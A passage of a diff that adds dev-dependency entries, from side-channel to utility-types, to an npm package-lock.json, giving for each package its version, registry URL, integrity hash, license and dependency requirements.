+ "integrity": "sha512-RJRdvCo6IAnPdsvP/7m6bsQqNnn1FCBX5ZNtFL98MmFF/4xAIJTIg1YbHW5DC2W5SKZanrC6i4HsJqlajw/dZw==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "dunder-proto": "^1.0.1",
+ "es-errors": "^1.3.0",
+ "es-object-atoms": "^1.0.0"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ }
+ },
+ "node_modules/shebang-command": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz",
+ "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "shebang-regex": "^3.0.0"
+ },
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/shebang-regex": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz",
+ "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/side-channel": {
+ "version": "1.1.1",
+ "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.1.1.tgz",
+ "integrity": "sha512-6x6dK6zJdpTzF4sQeNYxwtvBzf6Eg4GtlesS94HOvTudUeyK2WXAaIfmDgsyslYrRBeFIlsi54AYsFGUuhmvrQ==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "es-errors": "^1.3.0",
+ "object-inspect": "^1.13.4",
+ "side-channel-list": "^1.0.1",
+ "side-channel-map": "^1.0.1",
+ "side-channel-weakmap": "^1.0.2"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/side-channel-list": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/side-channel-list/-/side-channel-list-1.0.1.tgz",
+ "integrity": "sha512-mjn/0bi/oUURjc5Xl7IaWi/OJJJumuoJFQJfDDyO46+hBWsfaVM65TBHq2eoZBhzl9EchxOijpkbRC8SVBQU0w==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "es-errors": "^1.3.0",
+ "object-inspect": "^1.13.4"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/side-channel-map": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/side-channel-map/-/side-channel-map-1.0.1.tgz",
+ "integrity": "sha512-VCjCNfgMsby3tTdo02nbjtM/ewra6jPHmpThenkTYh8pG9ucZ/1P8So4u4FGBek/BjpOVsDCMoLA/iuBKIFXRA==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "call-bound": "^1.0.2",
+ "es-errors": "^1.3.0",
+ "get-intrinsic": "^1.2.5",
+ "object-inspect": "^1.13.3"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/side-channel-weakmap": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/side-channel-weakmap/-/side-channel-weakmap-1.0.2.tgz",
+ "integrity": "sha512-WPS/HvHQTYnHisLo9McqBHOJk2FkHO/tlpvldyrnem4aeQp4hai3gythswg6p01oSoTl58rcpiFAjF2br2Ak2A==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "call-bound": "^1.0.2",
+ "es-errors": "^1.3.0",
+ "get-intrinsic": "^1.2.5",
+ "object-inspect": "^1.13.3",
+ "side-channel-map": "^1.0.1"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/signal-exit": {
+ "version": "3.0.7",
+ "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.7.tgz",
+ "integrity": "sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ==",
+ "dev": true,
+ "license": "ISC"
+ },
+ "node_modules/simple-swizzle": {
+ "version": "0.2.4",
+ "resolved": "https://registry.npmjs.org/simple-swizzle/-/simple-swizzle-0.2.4.tgz",
+ "integrity": "sha512-nAu1WFPQSMNr2Zn9PGSZK9AGn4t/y97lEm+MXTtUDwfP0ksAIX4nO+6ruD9Jwut4C49SB1Ws+fbXsm/yScWOHw==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "is-arrayish": "^0.3.1"
+ }
+ },
+ "node_modules/simple-swizzle/node_modules/is-arrayish": {
+ "version": "0.3.4",
+ "resolved": "https://registry.npmjs.org/is-arrayish/-/is-arrayish-0.3.4.tgz",
+ "integrity": "sha512-m6UrgzFVUYawGBh1dUsWR5M2Clqic9RVXC/9f8ceNlv2IcO9j9J/z8UoCLPqtsPBFNzEpfR3xftohbfqDx8EQA==",
+ "dev": true,
+ "license": "MIT"
+ },
+ "node_modules/slash": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/slash/-/slash-3.0.0.tgz",
+ "integrity": "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/slice-ansi": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/slice-ansi/-/slice-ansi-4.0.0.tgz",
+ "integrity": "sha512-qMCMfhY040cVHT43K9BFygqYbUPFZKHOg7K73mtTWJRb8pyP3fzf4Ixd5SzdEJQ6MRUg/WBnOLxghZtKKurENQ==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "ansi-styles": "^4.0.0",
+ "astral-regex": "^2.0.0",
+ "is-fullwidth-code-point": "^3.0.0"
+ },
+ "engines": {
+ "node": ">=10"
+ },
+ "funding": {
+ "url": "https://github.com/chalk/slice-ansi?sponsor=1"
+ }
+ },
+ "node_modules/snake-case": {
+ "version": "3.0.4",
+ "resolved": "https://registry.npmjs.org/snake-case/-/snake-case-3.0.4.tgz",
+ "integrity": "sha512-LAOh4z89bGQvl9pFfNF8V146i7o7/CqFPbqzYgP+yYzDIDeS9HaNFtXABamRW+AQzEVODcvE79ljJ+8a9YSdMg==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "dot-case": "^3.0.4",
+ "tslib": "^2.0.3"
+ }
+ },
+ "node_modules/snake-case/node_modules/tslib": {
+ "version": "2.8.1",
+ "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz",
+ "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==",
+ "dev": true,
+ "license": "0BSD"
+ },
+ "node_modules/sprintf-js": {
+ "version": "1.0.3",
+ "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.0.3.tgz",
+ "integrity": "sha512-D9cPgkvLlV3t3IzL0D0YLvGA9Ahk4PcvVwUbN0dSGr1aP0Nrt4AEnTUbuGvquEC0mA64Gqt1fzirlRs5ibXx8g==",
+ "dev": true,
+ "license": "BSD-3-Clause"
+ },
+ "node_modules/stop-iteration-iterator": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/stop-iteration-iterator/-/stop-iteration-iterator-1.1.0.tgz",
+ "integrity": "sha512-eLoXW/DHyl62zxY4SCaIgnRhuMr6ri4juEYARS8E6sCEqzKpOiE521Ucofdx+KnDZl5xmvGYaaKCk5FEOxJCoQ==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "es-errors": "^1.3.0",
+ "internal-slot": "^1.1.0"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ }
+ },
+ "node_modules/string_decoder": {
+ "version": "1.3.0",
+ "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz",
+ "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "safe-buffer": "~5.2.0"
+ }
+ },
+ "node_modules/string-width": {
+ "version": "4.2.3",
+ "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz",
+ "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "emoji-regex": "^8.0.0",
+ "is-fullwidth-code-point": "^3.0.0",
+ "strip-ansi": "^6.0.1"
+ },
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/string.prototype.trim": {
+ "version": "1.2.11",
+ "resolved": "https://registry.npmjs.org/string.prototype.trim/-/string.prototype.trim-1.2.11.tgz",
+ "integrity": "sha512-PwvK7BU+CMTJGYQCTZb5RWXIML92lftJLhQz1tBzgKiqGxJaMlBAa48POXaNAC2s4y8jr3EFqrkF9+44neS46w==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "call-bind": "^1.0.9",
+ "call-bound": "^1.0.4",
+ "define-data-property": "^1.1.4",
+ "define-properties": "^1.2.1",
+ "es-abstract": "^1.24.2",
+ "es-object-atoms": "^1.1.2",
+ "has-property-descriptors": "^1.0.2",
+ "safe-regex-test": "^1.1.0"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/string.prototype.trimend": {
+ "version": "1.0.10",
+ "resolved": "https://registry.npmjs.org/string.prototype.trimend/-/string.prototype.trimend-1.0.10.tgz",
+ "integrity": "sha512-2+3aDAOmPTmuFwjDnmJG2ctEkQKVki7vOSqaxkv42Mowj1V6PnvuwFCRrR5lChUux1TBskPjfkeTOhqczDMxTw==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "call-bind": "^1.0.9",
+ "call-bound": "^1.0.4",
+ "define-properties": "^1.2.1",
+ "es-object-atoms": "^1.1.2"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/string.prototype.trimstart": {
+ "version": "1.0.8",
+ "resolved": "https://registry.npmjs.org/string.prototype.trimstart/-/string.prototype.trimstart-1.0.8.tgz",
+ "integrity": "sha512-UXSH262CSZY1tfu3G3Secr6uGLCFVPMhIqHjlgCUtCCcgihYc/xKs9djMTMUOb2j1mVSeU8EU6NWc/iQKU6Gfg==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "call-bind": "^1.0.7",
+ "define-properties": "^1.2.1",
+ "es-object-atoms": "^1.0.0"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/strip-ansi": {
+ "version": "6.0.1",
+ "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz",
+ "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "ansi-regex": "^5.0.1"
+ },
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/strnum": {
+ "version": "2.4.1",
+ "resolved": "https://registry.npmjs.org/strnum/-/strnum-2.4.1.tgz",
+ "integrity": "sha512-M9eUSMT2dCB2cTNPG7UYj6KuK7RJR2SN2+yCV/fTW3xzTCS6EaGZ5pSMgDIjB7r8zSfTGk+dvvn9rTjpVS9Mwg==",
+ "dev": true,
+ "funding": [
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/NaturalIntelligence"
+ }
+ ],
+ "license": "MIT",
+ "dependencies": {
+ "anynum": "^1.0.1"
+ }
+ },
+ "node_modules/supports-color": {
+ "version": "8.1.1",
+ "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-8.1.1.tgz",
+ "integrity": "sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "has-flag": "^4.0.0"
+ },
+ "engines": {
+ "node": ">=10"
+ },
+ "funding": {
+ "url": "https://github.com/chalk/supports-color?sponsor=1"
+ }
+ },
+ "node_modules/supports-hyperlinks": {
+ "version": "2.3.0",
+ "resolved": "https://registry.npmjs.org/supports-hyperlinks/-/supports-hyperlinks-2.3.0.tgz",
+ "integrity": "sha512-RpsAZlpWcDwOPQA22aCH4J0t7L8JmAvsCxfOSEwm7cQs3LshN36QaTkwd70DnBOXDWGssw2eUoc8CaRWT0XunA==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "has-flag": "^4.0.0",
+ "supports-color": "^7.0.0"
+ },
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/supports-hyperlinks/node_modules/supports-color": {
+ "version": "7.2.0",
+ "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+ "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "has-flag": "^4.0.0"
+ },
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/through": {
+ "version": "2.3.8",
+ "resolved": "https://registry.npmjs.org/through/-/through-2.3.8.tgz",
+ "integrity": "sha512-w89qg7PI8wAdvX60bMDP+bFoD5Dvhm9oLheFp5O4a2QF0cSBGsBX4qZmadPMvVqlLJBBci+WqGGOAPvcDeNSVg==",
+ "dev": true,
+ "license": "MIT"
+ },
+ "node_modules/tinyglobby": {
+ "version": "0.2.17",
+ "resolved": "https://registry.npmjs.org/tinyglobby/-/tinyglobby-0.2.17.tgz",
+ "integrity": "sha512-wXR/dYpcqKmfWpEdZjiKJOwCNFndD0DMnrW/cYjVGttEkBfVgcLFHoNrlj47mjOVic9yyNu65alsgF4NQyTa2g==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "fdir": "^6.5.0",
+ "picomatch": "^4.0.4"
+ },
+ "engines": {
+ "node": ">=12.0.0"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/SuperchupuDev"
+ }
+ },
+ "node_modules/tinyglobby/node_modules/fdir": {
+ "version": "6.5.0",
+ "resolved": "https://registry.npmjs.org/fdir/-/fdir-6.5.0.tgz",
+ "integrity": "sha512-tIbYtZbucOs0BRGqPJkshJUYdL+SDH7dVM8gjy+ERp3WAUjLEFJE+02kanyHtwjWOnwrKYBiwAmM0p4kLJAnXg==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": ">=12.0.0"
+ },
+ "peerDependencies": {
+ "picomatch": "^3 || ^4"
+ },
+ "peerDependenciesMeta": {
+ "picomatch": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/tinyglobby/node_modules/picomatch": {
+ "version": "4.0.5",
+ "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.5.tgz",
+ "integrity": "sha512-RvwwcruNjI1ncT5xRakeyS9Lf8lcItv34KD+aif+VH9kduAyfYBipGh12274xtenIPZ119/R9BdTBa8gAwSh0A==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": ">=12"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/jonschlinkert"
+ }
+ },
+ "node_modules/to-regex-range": {
+ "version": "5.0.1",
+ "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz",
+ "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "is-number": "^7.0.0"
+ },
+ "engines": {
+ "node": ">=8.0"
+ }
+ },
+ "node_modules/tr46": {
+ "version": "0.0.3",
+ "resolved": "https://registry.npmjs.org/tr46/-/tr46-0.0.3.tgz",
+ "integrity": "sha512-N3WMsuqV66lT30CrXNbEjx4GEwlow3v6rr4mCcv6prnfwhS01rkgyFdjPNBYd9br7LpXV1+Emh01fHnq2Gdgrw==",
+ "dev": true,
+ "license": "MIT"
+ },
+ "node_modules/ts-node": {
+ "version": "10.9.2",
+ "resolved": "https://registry.npmjs.org/ts-node/-/ts-node-10.9.2.tgz",
+ "integrity": "sha512-f0FFpIdcHgn8zcPSbf1dRevwt047YMnaiJM3u2w2RewrB+fob/zePZcrOyQoLMMO7aBIddLcQIEK5dYjkLnGrQ==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "@cspotcode/source-map-support": "^0.8.0",
+ "@tsconfig/node10": "^1.0.7",
+ "@tsconfig/node12": "^1.0.7",
+ "@tsconfig/node14": "^1.0.0",
+ "@tsconfig/node16": "^1.0.2",
+ "acorn": "^8.4.1",
+ "acorn-walk": "^8.1.1",
+ "arg": "^4.1.0",
+ "create-require": "^1.1.0",
+ "diff": "^4.0.1",
+ "make-error": "^1.1.1",
+ "v8-compile-cache-lib": "^3.0.1",
+ "yn": "3.1.1"
+ },
+ "bin": {
+ "ts-node": "dist/bin.js",
+ "ts-node-cwd": "dist/bin-cwd.js",
+ "ts-node-esm": "dist/bin-esm.js",
+ "ts-node-script": "dist/bin-script.js",
+ "ts-node-transpile-only": "dist/bin-transpile.js",
+ "ts-script": "dist/bin-script-deprecated.js"
+ },
+ "peerDependencies": {
+ "@swc/core": ">=1.2.50",
+ "@swc/wasm": ">=1.2.50",
+ "@types/node": "*",
+ "typescript": ">=2.7"
+ },
+ "peerDependenciesMeta": {
+ "@swc/core": {
+ "optional": true
+ },
+ "@swc/wasm": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/tslib": {
+ "version": "1.14.1",
+ "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.14.1.tgz",
+ "integrity": "sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg==",
+ "dev": true,
+ "license": "0BSD"
+ },
+ "node_modules/type-fest": {
+ "version": "0.21.3",
+ "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.21.3.tgz",
+ "integrity": "sha512-t0rzBq87m3fVcduHDUFhKmyyX+9eo6WQjZvf51Ea/M0Q7+T374Jp1aUiyUl0GKxp8M/OETVHSDvmkyPgvX+X2w==",
+ "dev": true,
+ "license": "(MIT OR CC0-1.0)",
+ "engines": {
+ "node": ">=10"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/sindresorhus"
+ }
+ },
+ "node_modules/typed-array-buffer": {
+ "version": "1.0.3",
+ "resolved": "https://registry.npmjs.org/typed-array-buffer/-/typed-array-buffer-1.0.3.tgz",
+ "integrity": "sha512-nAYYwfY3qnzX30IkA6AQZjVbtK6duGontcQm1WSG1MD94YLqK0515GNApXkoxKOWMusVssAHWLh9SeaoefYFGw==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "call-bound": "^1.0.3",
+ "es-errors": "^1.3.0",
+ "is-typed-array": "^1.1.14"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ }
+ },
+ "node_modules/typed-array-byte-length": {
+ "version": "1.0.3",
+ "resolved": "https://registry.npmjs.org/typed-array-byte-length/-/typed-array-byte-length-1.0.3.tgz",
+ "integrity": "sha512-BaXgOuIxz8n8pIq3e7Atg/7s+DpiYrxn4vdot3w9KbnBhcRQq6o3xemQdIfynqSeXeDrF32x+WvfzmOjPiY9lg==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "call-bind": "^1.0.8",
+ "for-each": "^0.3.3",
+ "gopd": "^1.2.0",
+ "has-proto": "^1.2.0",
+ "is-typed-array": "^1.1.14"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/typed-array-byte-offset": {
+ "version": "1.0.4",
+ "resolved": "https://registry.npmjs.org/typed-array-byte-offset/-/typed-array-byte-offset-1.0.4.tgz",
+ "integrity": "sha512-bTlAFB/FBYMcuX81gbL4OcpH5PmlFHqlCCpAl8AlEzMz5k53oNDvN8p1PNOWLEmI2x4orp3raOFB51tv9X+MFQ==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "available-typed-arrays": "^1.0.7",
+ "call-bind": "^1.0.8",
+ "for-each": "^0.3.3",
+ "gopd": "^1.2.0",
+ "has-proto": "^1.2.0",
+ "is-typed-array": "^1.1.15",
+ "reflect.getprototypeof": "^1.0.9"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/typed-array-length": {
+ "version": "1.0.8",
+ "resolved": "https://registry.npmjs.org/typed-array-length/-/typed-array-length-1.0.8.tgz",
+ "integrity": "sha512-phPGCwqr2+Qo0fwniCE8e4pKnGu/yFb5nD5Y8bf0EEeiI5GklnACYA9GFy/DrAeRrKHXvHn+1SUsOWgJp6RO+g==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "call-bind": "^1.0.9",
+ "for-each": "^0.3.5",
+ "gopd": "^1.2.0",
+ "is-typed-array": "^1.1.15",
+ "possible-typed-array-names": "^1.1.0",
+ "reflect.getprototypeof": "^1.0.10"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/typescript": {
+ "version": "5.9.3",
+ "resolved": "https://registry.npmjs.org/typescript/-/typescript-5.9.3.tgz",
+ "integrity": "sha512-jl1vZzPDinLr9eUt3J/t7V6FgNEw9QjvBPdysz9KfQDD41fQrC2Y4vKQdiaUpFT4bXlb1RHhLpp8wtm6M5TgSw==",
+ "dev": true,
+ "license": "Apache-2.0",
+ "bin": {
+ "tsc": "bin/tsc",
+ "tsserver": "bin/tsserver"
+ },
+ "engines": {
+ "node": ">=14.17"
+ }
+ },
+ "node_modules/typescript-json-schema": {
+ "version": "0.58.1",
+ "resolved": "https://registry.npmjs.org/typescript-json-schema/-/typescript-json-schema-0.58.1.tgz",
+ "integrity": "sha512-EcmquhfGEmEJOAezLZC6CzY0rPNzfXuky+Z3zoXULEEncW8e13aAjmC2r8ppT1bvvDekJj1TJ4xVhOdkjYtkUA==",
+ "dev": true,
+ "license": "BSD-3-Clause",
+ "dependencies": {
+ "@types/json-schema": "^7.0.9",
+ "@types/node": "^16.9.2",
+ "glob": "^7.1.7",
+ "path-equal": "^1.2.5",
+ "safe-stable-stringify": "^2.2.0",
+ "ts-node": "^10.9.1",
+ "typescript": "~4.9.5",
+ "yargs": "^17.1.1"
+ },
+ "bin": {
+ "typescript-json-schema": "bin/typescript-json-schema"
+ }
+ },
+ "node_modules/typescript-json-schema/node_modules/@types/node": {
+ "version": "16.18.126",
+ "resolved": "https://registry.npmjs.org/@types/node/-/node-16.18.126.tgz",
+ "integrity": "sha512-OTcgaiwfGFBKacvfwuHzzn1KLxH/er8mluiy8/uM3sGXHaRe73RrSIj01jow9t4kJEW633Ov+cOexXeiApTyAw==",
+ "dev": true,
+ "license": "MIT"
+ },
+ "node_modules/typescript-json-schema/node_modules/safe-stable-stringify": {
+ "version": "2.5.0",
+ "resolved": "https://registry.npmjs.org/safe-stable-stringify/-/safe-stable-stringify-2.5.0.tgz",
+ "integrity": "sha512-b3rppTKm9T+PsVCBEOUR46GWI7fdOs00VKZ1+9c1EWDaDMvjQc6tUwuFyIprgGgTcWoVHSKrU8H31ZHA2e0RHA==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": ">=10"
+ }
+ },
+ "node_modules/typescript-json-schema/node_modules/typescript": {
+ "version": "4.9.5",
+ "resolved": "https://registry.npmjs.org/typescript/-/typescript-4.9.5.tgz",
+ "integrity": "sha512-1FXk9E2Hm+QzZQ7z+McJiHL4NW1F2EzMu9Nq9i3zAaGqibafqYwCVU6WyWAuyQRRzOlxou8xZSyXLEN8oKj24g==",
+ "dev": true,
+ "license": "Apache-2.0",
+ "bin": {
+ "tsc": "bin/tsc",
+ "tsserver": "bin/tsserver"
+ },
+ "engines": {
+ "node": ">=4.2.0"
+ }
+ },
+ "node_modules/unbox-primitive": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/unbox-primitive/-/unbox-primitive-1.1.0.tgz",
+ "integrity": "sha512-nWJ91DjeOkej/TA8pXQ3myruKpKEYgqvpw9lz4OPHj/NWFNluYrjbz9j01CJ8yKQd2g4jFoOkINCTW2I5LEEyw==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "call-bound": "^1.0.3",
+ "has-bigints": "^1.0.2",
+ "has-symbols": "^1.1.0",
+ "which-boxed-primitive": "^1.1.1"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/undici-types": {
+ "version": "8.3.0",
+ "resolved": "https://registry.npmjs.org/undici-types/-/undici-types-8.3.0.tgz",
+ "integrity": "sha512-j375ScV60dom+YkPFIfTLcOiPxkN/buHz5GobjLhixFuANaNs3C9l4GmrWqejgXWJ7BbJcFYpTEUkS1Ge8bpZQ==",
+ "dev": true,
+ "license": "MIT"
+ },
+ "node_modules/universalify": {
+ "version": "0.1.2",
+ "resolved": "https://registry.npmjs.org/universalify/-/universalify-0.1.2.tgz",
+ "integrity": "sha512-rBJeI5CXAlmy1pV+617WB9J63U6XcazHHF2f2dbJix4XzpUF0RS3Zbj0FGIOCAva5P/d/GBOYaACQ1w+0azUkg==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": ">= 4.0.0"
+ }
+ },
+ "node_modules/upper-case": {
+ "version": "2.0.2",
+ "resolved": "https://registry.npmjs.org/upper-case/-/upper-case-2.0.2.tgz",
+ "integrity": "sha512-KgdgDGJt2TpuwBUIjgG6lzw2GWFRCW9Qkfkiv0DxqHHLYJHmtmdUIKcZd8rHgFSjopVTlw6ggzCm1b8MFQwikg==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "tslib": "^2.0.3"
+ }
+ },
+ "node_modules/upper-case-first": {
+ "version": "2.0.2",
+ "resolved": "https://registry.npmjs.org/upper-case-first/-/upper-case-first-2.0.2.tgz",
+ "integrity": "sha512-514ppYHBaKwfJRK/pNC6c/OxfGa0obSnAl106u97Ed0I625Nin96KAjttZF6ZL3e1XLtphxnqrOi9iWgm+u+bg==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "tslib": "^2.0.3"
+ }
+ },
+ "node_modules/upper-case-first/node_modules/tslib": {
+ "version": "2.8.1",
+ "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz",
+ "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==",
+ "dev": true,
+ "license": "0BSD"
+ },
+ "node_modules/upper-case/node_modules/tslib": {
+ "version": "2.8.1",
+ "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz",
+ "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==",
+ "dev": true,
+ "license": "0BSD"
+ },
+ "node_modules/uri-js": {
+ "version": "4.4.1",
+ "resolved": "https://registry.npmjs.org/uri-js/-/uri-js-4.4.1.tgz",
+ "integrity": "sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg==",
+ "dev": true,
+ "license": "BSD-2-Clause",
+ "dependencies": {
+ "punycode": "^2.1.0"
+ }
+ },
+ "node_modules/urijs": {
+ "version": "1.19.11",
+ "resolved": "https://registry.npmjs.org/urijs/-/urijs-1.19.11.tgz",
+ "integrity": "sha512-HXgFDgDommxn5/bIv0cnQZsPhHDA90NPHD6+c/v21U5+Sx5hoP8+dP9IZXBU1gIfvdRfhG8cel9QNPeionfcCQ==",
+ "dev": true,
+ "license": "MIT"
+ },
+ "node_modules/util-deprecate": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz",
+ "integrity": "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==",
+ "dev": true,
+ "license": "MIT"
+ },
+ "node_modules/utility-types": {
+ "version": "3.11.0",
